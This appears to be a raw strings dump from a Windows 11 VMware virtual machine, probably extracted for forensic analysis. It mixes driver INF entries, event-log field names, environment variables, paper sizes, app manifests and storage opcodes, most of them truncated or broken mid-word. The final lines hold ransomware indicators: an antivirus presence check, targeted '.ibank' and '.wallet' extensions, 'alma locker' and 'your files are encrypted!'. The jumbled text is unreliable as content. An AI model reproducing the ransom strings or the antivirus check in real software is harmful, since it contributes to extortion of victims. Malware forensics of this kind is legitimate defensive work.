%serenum\lgi8005.devicedesc% Ser_Inst %logimfg% %serenum\lgi8006.devicedesc% Ser_Inst %logimfg% Ser_Inst %hid\vid_05a4&pid_9720&mi_01.devicedesc% HID_AppleMightyMouse_Inst.NT %applemfg% %hid\vid_05ac&pid_0304.devicedesc% HID_Mouse_Inst.NT %jingmoldmfg% %hid\vid_05af&pid_9267&mi_01.devicedesc% HID_Mouse_Inst.NT %focusmfg% %hid\vid_05b2&pid_7200&mi_01.devicedesc% HID_Mouse_Inst.NT %forwardmfg% %hid\vid_05bc&pid_0001&mi_01.devicedesc% HID_Mouse_Inst.NT %qtronixmfg% %hid\vid_05c7&pid_1001.devicedesc% HID_Mouse_Inst.NT %supergatemfg% %hid\vid_05d5&pid_6782&mi_01.devicedesc% HID_Mouse_Inst.NT %dexinmfg% %hid\vid_05f2&pid_0010.devicedesc% HID_Mouse_Inst.NT %stslmfg% %hid\vid_05fa&pid_3301&mi_01.devicedesc% HID_Mouse_Inst.NT %stslmfg% %hid\vid_05fa&pid_3303&mi_01.devicedesc% HID_Mouse_Inst.NT %anchormfg% NoCap NoCap Paused Paused PausedDNK Critical NoCap NoCap Paused Paused used Soft/ Pausing Pausing itical tics.etlWMI\RtBackup\EtwRTWFP-IP scmbus_Inst.NT %msft% %*acpi0017.devicedesc% scmbus_Inst.NT %msft% %*ramdisk.devicedesc% scmbus_Inst.NT %msft% %*simulatedpmem.devicedesc% scmbus_Inst.NT %msft% %*simulatedspm.devicedesc% Microsoft Simulated Storage Class Memory Bus Storage Class Memory Bus Compute Express Link Memory Bus Storage Class Memory Bus for Ramdisk Simulated Dedicated Memory Bus Microsoft scmvolume.inf volume volume.inf scmvolume_install.NT %msft% Windows Modules Installer TrustedInstaller TrustedInstaller,* *,TermSrv,GPClient,Profiles,SessionEnv nsvc,Dot3svc ,Profiles,Dot3svc,Wl ssionEnv,A/ nstallAgent,* 7A-DE6192BAF 0055&sub 8342 ubsys_9565 ws\CurrentVersio ndisvf noupper ms_xboxgip Xbox Game Input Protocol Driver Xbox Game Input Protocol Driver A driver to support communication with Xbox Gaming devices Xboxgip xboxgip ndisgip noupper yebc hbcl Selector \SystemRoot\System32\drivers\MSTEE.sys Extended Base @ksfilter.inf,%MSTEE.DeviceDesc%;Microsoft Streaming Tee/Sink-to-Sink Converter ksfilter.inf @%systemroot%\system32\drivers\mup.sys,-102 @%systemroot%\system32\drivers\mup.sys,-101 Network System32\Drivers\mup.sys System32\drivers\mvumis.sys SCSI Miniport mvumis.inf @%SystemRoot%\system32\tsgqec.dll,-101 @%SystemRoot%\system32\tsgqec.dll,-100 @%SystemRoot%\system32\tsgqec.dll,-103 @%SystemRoot%\system32\tsgqec.dll,-102 @%SystemRoot%\system32\rascustom.dll,-101 @%SystemRoot%\system32\rascustom.dll,-100 @%SystemRoot%\system32\rascustom.dll,-103 @%SystemRoot%\system32\rascustom.dll,-102 NDIS NetBIOS.ndi ms_server LanmanServer @%systemroot%\system32\srvsvc.dll,-109 @%systemroot%\system32\srvsvc.dll,-110 winnet5 netbios netbios_smb Netserv.inf Install.ndi NetworkBindingEngineMigPlugin.dll Letter Tabloid Legal Statement Executive B4 (JIS) B5 (JIS) Envelope #9 Envelope #10 C size sheet D size sheet E size sheet Envelope DL Envelope C5 Envelope C4 Envelope B5 Envelope Monarch Japanese Postcard Japanese Envelope Kaku #2 Japanese Envelope Kaku #3 Japanese Envelope Chou #3 Japanese Envelope Chou #4 Japan Envelope You #4 ASMEFSheet Architecture ASheet Architecture BSheet Architecture CSheet Architecture DSheet Architecture E1Sheet Architecture ESheet Business Card 2x 3 5 Business Card 55x 85mm Business Card 55x 91mm English 14x 17 English Photo L Japan Chou 40 Envelope Japan Kaku 4 Envelope Japan Kaku 5 Envelope Japan Kaku 8 Envelope Metric Photo L North America 3x 5 North America 5x 8 North America Super B Photo 10x 12 Photo 4x 4 Photo 5x 5 Photo 89x 89mm 10x15in 114x162mm 120x176mm 12x16in 13x22in 142x205mm 16x20in 17x24in 18x22in 20x30in 215x345mm 250x353mm 257x364mm 300x900mm 30x40in 324x458mm 353x500mm 364x515mm 458x648mm 500x707mm 515x728mm 648x917mm 707x1000mm 917x1297mm 98x148mm Credit Card ISOA0 ISOA1 Japan You 6 Envelope North America 4x 6 North America 5x 7 North America 8x 10 PORTRAIT LANDSCAPE "2D39EA95" {"PayloadHandler":"FILE","Metadata":{"Dir":"%ProgramData%\\Microsoft\\Windows\\OneSettings","Name":"ASAP_CloudPolicy.json"}} "349919BC" "66A2A386" \SystemRoot\System32\drivers\CmBatt.sys @cmbatt.inf,%CmBatt.SvcDesc%;Microsoft ACPI Control Method Battery Driver cmbatt y\comp/ itebus.inf_amd64_8cf6fa9 dfa25\Comp/ iteBus.sys torf %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\BthEnum.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Microsoft.Bluetooth.Legacy.LEEnumerator.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Bthport.sys;%SystemRoot%\System32\Drivers\BthMini.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Bthport.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\Bthport.sys;%SystemRoot%\System32\Drivers\BthUsb.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\netevent.dll;%SystemRoot%\System32\drivers\cht4vx64.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\drivers\evbda.sys;%SystemRoot%\System32\iologmsg.dll %SystemRoot%\System32\drivers\evbd0a.sys;%SystemRoot%\System32\iologmsg.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\hidbth.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\Drivers\hidi2c.sys \Registry\Machine\Hardware\DeviceMap\Video \Registry\Machine\System\CurrentControlSet \CONTROL\ \Control\UnitedVideo \Registry\Machine\System\CurrentControlSet\Control\Terminal Server\Video\ vgastub \SERVICES \Device\Video0 \Hardware Profiles\Current\System\CurrentControlSet NULL Name Not Available \??\UNC Bypass not supported on virtualized file \??\ \BindFltPort PsGetVersion WmiQueryTraceInformation WmiTraceMessage EtwUnregister EtwRegisterClassicProvider 3++S 3++S++ 3++S++ 4&PID_9D39 USBPRINT:VID_0924&PID_9D3A USBPRINT:VID_0924&PID_9D3B USBPRINT:VID_132B&PID_234D USBPRINT:VID_132B&PID_234E USBPRINT:VID_132B&PID_234F USBPRINT:VID_132B&PID_235C USBPRINT:VID_132B&PID_235E USBPRINT:VID_132B&PID_2360 USBPRINT:VID_232B&PID_0230 USBPRINT:VID_232B&PID_0231 USBPRINT:VID_232B&PID_0232 USBPRINT:VID_232B&PID_0233 USBPRINT:VID_232B&PID_0234 RINT _232B&PI ID_232B& B&PID_0EC2 USBPRINT:VID_232B&PID_0EC3 USBPRINT:VID_232B&PID_0E D_04 aCie USBSTOR: VID_ &PID_1000 AData R:US USB\ bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c bc90d167-9470-4139-a9ba-be0bbbf5b74d 86d35949-83c9-4044-b424-db363231fd0c \ROOT\0 date.exe <CldFlt0.et 3++S++ dleEx-R- eb004a01-9b1a-11 3++S++ IPCONFIG.EXE ++S+ tivatabl Microsofs DefendSOFTWAR indows D t-Window Task_Timshed. re\WinS skRunner INDOWS\S bugPrivi SeAudite S sonatePr \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\resources.pri ice\HarddiskVolume3\Windows\System32\msvcp_win.dllmonProxyStub.dll ice\HarddiskVolume3\Windows\System32\gdi32full.dlltClient.dll ice\HarddiskVolume3\Windows\System32\combase.dlldll ice\HarddiskVolume3\Windows\System32\rpcrt4.dllitives.dll Microsoft Windows Driver Policy 10.0.27805.0 Microsoft Windows%Microsoft Windows Production PCA 2011 7VerifiedAndReputableDesktopEvaluationFlightSupplemental 27766.241221-1700 Microsoft Windows%Microsoft Windows Production PCA 2011 Device/ irtu VMe Disk VMWar/ MWare NVME_0000 vice\Hardd/ kVolume3 VMware Virtu VMe VMWare Virt Data Name HomePath Data Name ScriptPath Data Name ProfilePath Data Name UserWorkstations Data Name PasswordLastSet Data Name AccountExpires Data Name PrimaryGroupId Data Name AllowedToDelegateTo Data Name OldUacValue Data Name NewUacValue Data Name UserAccountControl Data Name UserParameters Data Name SidHistory Data Name LogonHours TargetUserName TargetDomainName TargetSid SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId PrivilegeList SamAccountName DisplayName UserPrincipalName HomeDirectory HomePath ScriptPath ProfilePath UserWorkstations PasswordLastSet AccountExpires PrimaryGroupId AllowedToDelegateTo OldUacValue NewUacValue UserAccountControl UserParameters SidHistory LogonHours EventData Data Name TargetUserName Data Name TargetDomainName Data Name TargetSid Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name CallerProcessId Data Name CallerProcessName TargetUserName TargetDomainName TargetSid SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId CallerProcessId CallerProcessName EventData Data Name TargetUserName Data Name TargetDomainName Data Name TargetSid Data Data Name TargetSid Data Name AccessRemoved SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId TargetSid AccessRemoved EventData Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name CategoryId Data Name SubcategoryId Data Name SubcategoryGuid Data Name AuditPolicyChanges SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId CategoryId SubcategoryId SubcategoryGuid AuditPolicyChanges EventData Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name CategoryId Data Name SubcategoryId Data Name SubcategoryGuid Data Name AuditPolicyChanges Data Name ClientProcessId Data Name ClientProcessStartKey SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId CategoryId SubcategoryId SubcategoryGuid AuditPolicyChanges ClientProcessId ClientProcessStartKey EventData Data Name TargetUserName Data Name TargetDomainName Data Name TargetSid Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name PrivilegeList Data Name SamAccountName Data Name DisplayName Data Name UserPrincipalName Data Name HomeDirectory ectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name EfsPolicyChange SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId EfsPolicyChange EventData Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name OldSd Data Name NewSd SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId OldSd NewSd EventData Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name DomainName Data Name DomainSid Data Name TdoType Data Name TdoDirection Data Name TdoAttributes Data Name SidFilteringEnabled SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId DomainName DomainSid TdoType TdoDirection TdoAttributes SidFilteringEnabled EventData Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name TargetSid Data Name AccessGranted SubjectUserSid SubjectUserName SubjectDomainName SubjectLogonId TargetSid AccessGranted EventData Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name DomainName Data Name DomainSid Data Name SubjectUserSid Data Name SubjectUserName Data Name SubjectDomainName Data Name SubjectLogonId Data Name TdoType Data Name TdoDirection Data Name TdoAttributes Data Name SidFilteringEnabled bjectUserSid dFilteri EventData Data Name DomainSid Data ctUserSid Data rNam Data Name Subjec ainN ice g to Cel UpdateReason EnabledNew CountNew CountOld EventData Data Name FailureResult FailureResult EventData Data Name NewBias Data Name OldBias NewBias OldBias EventData Data Name VsmCleanupTime Data Name Mark#0 Data Name Mark#1 Data Name Mark#2 Data Name Mark#3 Data Name Mark#4 Data Name Mark#5 Data Name Mark#6 Data Name Mark#7 VsmCleanupTime Mark#0 Mark#1 Mark#2 Mark#3 Mark#4 Mark#5 Mark#6 Mark#7 EventData Data Name VsmCleanupTime Data Name Mark#0 Data Name Mark#1 Data Name Mark#2 Data Name Mark#3 Data Name Mark#4 Data Name Mark#5 Data Name Mark#6 Data Name Mark#7 Data Name VsmCleanupTimeFrequency VsmCleanupTime Mark#0 Mark#1 Mark#2 Mark#3 Mark#4 Mark#5 Mark#6 Mark#7 VsmCleanupTimeFrequency EventData Data Name ExitReason Data Name CurrentBias Data Name CurrentTimeZoneID Data Name TimeZoneInfoCacheUpdated Data Name FirstRefresh ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh EventData Data Name ProcessName Data Name PackageSid ProcessName PackageSid Microsoft-Windows-Kernel-General win:Info se1Start Data Name KsrExtensionStart Data Name KsrExtensionStop Data Name StartProcessorsStart Data Name StartProcessorsStop Data Name AutoLoggerInitStart Data Name AutoLoggerInitStop Data Name MmPhase1Start Data Name MmPhase1Stop Data Name HalPhase0StartCycleTime Data Name HalPhase0StopCycleTime MmPhase0Start MmPhase0Stop Phase1Start KsrExtensionStart KsrExtensionStop StartProcessorsStart StartProcessorsStop AutoLoggerInitStart AutoLoggerInitStop MmPhase1Start MmPhase1Stop HalPhase0StartCycleTime HalPhase0StopCycleTime EventData Data Name MmPhase0Start Data Name MmPhase0Stop Data Name Phase1Start Data Name KsrExtensionStart Data Name KsrExtensionStop Data Name StartProcessorsStart Data Name StartProcessorsStop Data Name AutoLoggerInitStart Data Name AutoLoggerInitStop Data Name MmPhase1Start Data Name MmPhase1Stop Data Name HalPhase0StartCycleTime Data Name HalPhase0StopCycleTime Data Name MmMark MmPhase0Start MmPhase0Stop Phase1Start KsrExtensionStart KsrExtensionStop StartProcessorsStart StartProcessorsStop AutoLoggerInitStart AutoLoggerInitStop MmPhase1Start MmPhase1Stop HalPhase0StartCycleTime HalPhase0StopCycleTime MmMark EventData Data 3++S++ \ControlSet001\C 3++S leAddress Data Name MemAddress Data Name MemModuleFullPath Data Name MemModuleBase Data Name APIName Data Name ProcessStartTime Data Name ThreadId Subcode ProcessPath ProcessId ModuleFullPath ModuleBase ModuleAddress MemAddress MemModuleFullPath MemModuleBase APIName ProcessStartTime ThreadId EventData Data Name Subcode Data Name ProcessPath Data Name ProcessId Data Name HookedAPI Data Name ReturnAddress Data Name CalledAddress Data Name TargetAddress Data Name StackAddress Data Name FrameAddress Data Name ReturnAddressModuleFullPath Data Name ProcessStartTime Data Name ThreadId Subcode ProcessPath ProcessId HookedAPI ReturnAddress CalledAddress TargetAddress StackAddress FrameAddress ReturnAddressModuleFullPath ProcessStartTime ThreadId EventData Data Name ProcessPathLength Data Name ProcessPath Data Name ProcessCommandLineLength Data Name ProcessCommandLine Data Name ProcessId Data Name ProcessCreateTime Data Name ProcessStartKey Data Name ProcessSignatureLevel Data Name ProcessSectionSignatureLevel Data Name ProcessProtection Data Name ControlPcImageNameLength Data Name ControlPcImageName Data Name RspContentsImageNameLength Data Name RspContentsImageName 80070490 ent not 3++S++ ft-Windo am Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS SERSPROFILE=C:\ProgramData APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS en-US @Path x64\FFmpegDecoder.dll .@ProcessorArchitecture 0MediaEncodingProperties InputTypes InputType @SubType 8D2FD10B-5841-4A6B-8905-588FEC1ADED9 OutputTypes OutputType @SubType 00000003-0000-0010-8000-00aa00389b71 @Category windows.fileTypeAssociation (FileTypeAssociation @Name supportedfiletypes &SupportedFileTypes FileType #text .3g2 #text .3gp #text .aac #text .aiff #text .asf #text .avi #text .divx #text .f4a #text .f4v #text .flac #text .flv #text .m2ts #text .m2v #text .m4a #text .m4v #text .mkv #text .mov #text .mp2 #text .mp3 #text .mp4 #text .mpe #text .mpeg #text .mpg #text .mpv #text .mts #text .mxf #text .oga #text .ogg #text .ogv #text .opus #text #text .r3d #text #text .rmv #text .rmvb #text .vob #text .wav #text .webm #text .wma #text .wmv #text .yuv @Category windows.protocol Protocol @Name ms-officeapp @Category windows.protocol Protocol @Name ms-getoffice @Category windows.mediaCodec MediaCodec @DisplayName HEVCVideoExtensionEncoder @Description This is a video codec @Category videoEncoder (@ActivatableClassId H265Encoder.CH265EncoderTransform @Path x86\mfH265Enc.dll .@ProcessorArchitecture 0MediaEncodingProperties InputTypes InputType @SubType 3231564e-0000-0010-8000-00aa00389b71 @SubType 56555949-0000-0010-8000-00AA00389B71 @SubType 32315659-0000-0010-8000-00AA00389B71 @SubType 32595559-0000-0010-8000-00AA00389B71 OutputTypes OutputType @SubType 43564548-0000-0010-8000-00AA00389B71 @Category windows.mediaCodec MediaCodec @DisplayName HEVCVideoExtension @Description This is a video codec @Cate Assets\Inbox\PhotosLogoExtensions.png @Category wind dleEx-R- \\?\hid#vid_0e0f&pid_0003&mi_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} @{Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Paint/Resources/PaintProjectFileFormat} Assets\paintpicture.png @Category windows.fileTypeAssociation (FileTypeAssociation @Name paintprojectfile DisplayName$MRT DisplayName #text ms-resource:Resources/PaintProjectFileFormat Logo$MRT Logo #text Assets\paintpicture.png &SupportedFileTypes FileType #text .paint @Category windows.appExecutionAlias @EntryPoint Windows.FullTrustApplication $AppExecutionAlias ExecutionAlias @Alias mspaint.exe @Alias pbrush.exe @Category windows.desktopAppMigration (DesktopAppMigration DesktopApp @AumId {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\notepad.exe @AumId {D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\notepad.exe @AumI videoDecoder (@ActivatableClassId H265Decoder.CH265DecoderTransform @Path x86\HEVCDECODER_STORE.dll .@ProcessorArchitecture 0MediaEncodingProperties InputTypes InputType @SubType 43564548-0000-0010-8000-00AA00389B71 @SubType 53564548-0000-0010-8000-00AA00389B71 OutputTypes OutputType @SubType 3231564e-0000-0010-8000-00aa00389b71 @SubType 56555949-0000-0010-8000-00AA00389B71 @SubType 4f303234-0000-0010-8000-00AA00389B71 @SubType 30313050-0000-0010-8000-00aa00389b71 @SubType 56555941-0000-0010-8000-00aa00389b71 @SubType 32595559-0000-0010-8000-00aa00389b71 @SubType 30313259-0000-0010-8000-00aa00389b71 @{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/wingetFileTypeDisplayName} @Category windows.fileTypeAssociation (FileTypeAssociation @Name configuration @Parameters configure "%1" --wait &SupportedFileTypes FileType #text .winget DisplayName$MRT DisplayName #text ms-resource:wingetFileTypeDisplayName @Category windows.appExecutionAlias $AppExecutionAlias ExecutionAlias @Alias WindowsPackageManagerServer.exe @Category windows.appExecutionAlias $AppExecutionAlias ExecutionAlias @Alias winget.exe ++S+ 3++S++ 3++S++ pip_{E33FA66E-DBEC-40A2- IC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp USERDOMAIN=NT AUTHORITY USERNAME=LOCAL SERVICE USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService windir=C:\WINDOWS ++S+ 3++S h2txyewys.ContentDeliveryMan ++S+ oLog OpCodeNVMeErrorRecoveryLog OpCodePLDRRequestPowerIrpFailed OpCodeIdentifyMFNDFailure OpCodeFirmwareActivate OpCodePnPRequestFailed OpCodeStartAdapterFailed OpCodeNVMeAdapterStartFailure OpCodeNVMeAdapterQDR OpCodeNVMeoFHostGatewayAdded OpCodeNVMeoFHostGatewayRemoved OpCodeNVMeoFSubsystemPortAdded OpCodeNVMeoFSubsystemPortRemoved OpCodeNVMeoFMiniportControlFailed OpCodeNVMeoFConnectController OpCodeNVMeoFDisconnectController OpCodeNVMeoFCreateControllerQueue OpCodeNVMeoFConnectControllerQueue OpCodeNVMeoFDisconnectControllerQueue OpCodeNVMeoFCreateConnectIoQueue OpCodeNVMeoFDisconnectDeleteQueue OpCodeNVMeoFDeleteControllerQueue OpCodeNVMeQueueRequestFailed OpCodeNVMeControllerEvent OpCodeNVMeNamespaceEvent OpCodeNVMeMiniportEvent OpCodeNVMeICEInterfaceEvent OpCodeNVMeoFDisconnectControllerQueueTransport OpCodeNVMeoFReconnectControllerQueueTransport OpCodeNVMeAdapterEvent OpCodeNVMeoFDiscovery OpCodeDLRMInitialization OpCodeDLRMEffectivePowerModeCallback OpCodeDLRMDripsCallback OpCodeDLRMUpdateLinkInfoSuccess OpCodeDLRMUpdateLinkInfoFailure OpCodeDLRMSetLinkToDesiredSpeed OpCodeDLRMStatistics OpCodeEventNotifyInterfaceProcessingFailure OpCodeNVMeoFAuthentication win:Error win:Warning win:Informational TaskLUReset TaskTargetReset TaskBusReset TaskResetDetected TaskLinkDown TaskLinkUp TaskRequestTimerCall TaskPortPause TaskPortResume TaskPortPauseDevice TaskPortResumeDevice TaskBusChangeDetected TaskMiniportIORequestServiceTime TaskStateChangeDetected TaskTargetedReenumeration TaskMarkDevicePotentiallyFailed TaskMarkAndRem ++S+ IONREPAI GIN_ ENABLED AutomaticCorruptionRepairPlugin_ActionLimit AUTOMATICCORRUPTIONREPAIRPLUGIN_DETECTIONONLY IONREPAI GIN_ NotificationManagerPlugin_InteractiveOnly AutomaticCorruptionRepairPlugin_DetectionOnly NOTIFICATIONMANAGERPLUGIN_MAXUPTIMETHRESHOLD AUTOMATICCORRUPTIONREPAIRPLUGIN_IMPACTLEVEL AutomaticCorruptionRepairPlugin_InteractiveOnly AUTOMATICCORRUPTIONREPAIRPLUGIN_INTERVALINHOURS MaintenanceMode NotificationManagerPlugin_PluginMaintenanceMode INPLACEUPGRADEPLUGIN_INPLACEUPGRADELCUERRORCOUNT GERPLUGI NONM gerPlugi ugin reshold gin_Plug inte OUNT UGIN_MAX METH ugin_Det onOn N_ENABLE RVER NotificationManagerPlugin_MinUptimeThreshold ONLY GERPLUGI UGIN ugin_Int lInH InPlaceUpgradePlugin_InPlaceUpgradeLCUErrorCount ugin_InP Upgr ount ReserveRepairPlugin_Plugin},"CANVASPLUGIN_SERVERSKUBLOCK":{"ValueName":"CanvasPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"CANVASPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"CanvasPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"CanvasPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"CANVASPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"Valu e":"CanvasPlugin_MaxManu TERV me": lugi Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name MftDataAllocationSize Data Name MftDataFileSize Data Name MftBitmapAllocationSize Data Name MftBitmapFileSize Data Name BytesPerFRS Data Name MftDataAttrAllocatedLength Data Name MftDataAttrFileSize Data Name MftBitmapAttrHighestVcn Data Name MftBitmapAttrAllocatedLength Data Name MftBitmapAttrFileSize Data Name MftLastDataAndBitmapInSameFrs Data Name CalledFromWorker Data Name WorkerStatus Data Name MajorFunction Data Name MinorFunction Data Name SourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber MftDataAllocationSize MftDataFileSize MftBitmapAllocationSize MftBitmapFileSize BytesPerFRS MftDataAttrAllocatedLength MftDataAttrFileSize MftBitmapAttrHighestVcn MftBitmapA Data Name MftBitmapAllocationSize Data Name MftBitmapFileSize Data Name BytesPerFRS Data Name MftDataAttrAllocatedLength Data Name MftDataAttrFileSize Data Name MftBitmapAttrHighestVcn Data Name MftBitmapAttrAllocatedLength Data Name MftBitmapAttrFileSize Data Name MftLastDataAndBitmapInSameFrs Data Name CalledFromWorker Data Name WorkerStatus Data Name MajorFunction Data Name MinorFunction Data Name SourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber MftDataAllocationSize MftDataFileSize MftBitmapAllocationSize MftBitmapFileSize BytesPerFRS MftDataAttrAllocatedLength MftDataAttrFileSize MftBitmapAttrHighestVcn MftBitmapAttrAllocatedLength MftBitmapAttrFileSize MftLastDataAndBitmapInSameFrs CalledFromWorker WorkerStatus MajorFunction MinorFunction SourceTag EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength EventData Data Name Data Name Command Data Name LengthOfTransfer (in blocks) Data Name Data Name OriginalIrp Data Name NvCachePriority Command LengthOfTransfer (in blocks) OriginalIrp NvCachePriority EventData Data Name Data Name NTStatus Data Name SrbStatus Data Name ScsiStatus Data Name SenseKey Data Name AddSense Data Name AddSenseQ Data Name OriginalIrp NTStatus SrbStatus ScsiStatus SenseKey AddSense AddSenseQ OriginalIrp EventData Data Name Data Name CurrentRetryCount CurrentRetryCount EventData Data Name Data Name Data Name Target Data Name Target EventData Data Name Data Name MajorFunction Data Name MinorFunction Data Name Parameter MajorFunction MinorFunction Parameter EventData Data Name Data Name Status Status EventData Data Name PortNumber Data Name Data Name Status PortNumber Status EventData Data Name MiniportName Data Name PortNumber Data Name AdapterGuid Data Name Status Data Name Operation Data Name AdapterGuid Data Name PathID Data Name TargetID Data Name Data Name VendorId Data Name ProductId Data Name SerialNumber Data Name FirmwareRevision MiniportName PortNumber AdapterGuid PathID TargetID VendorId ProductId SerialNumber Firmwa vision Port Data Data Name Minip 6-5a774b 4e33-ac5 56-5a774 https://login.microsoftonline.com/ 3++S++ root\securitycenter2 no-antivirus .ibank .wallet unlock_files_ alma locker your files are encrypted! Carregando... dulo especificado. Carregando.. 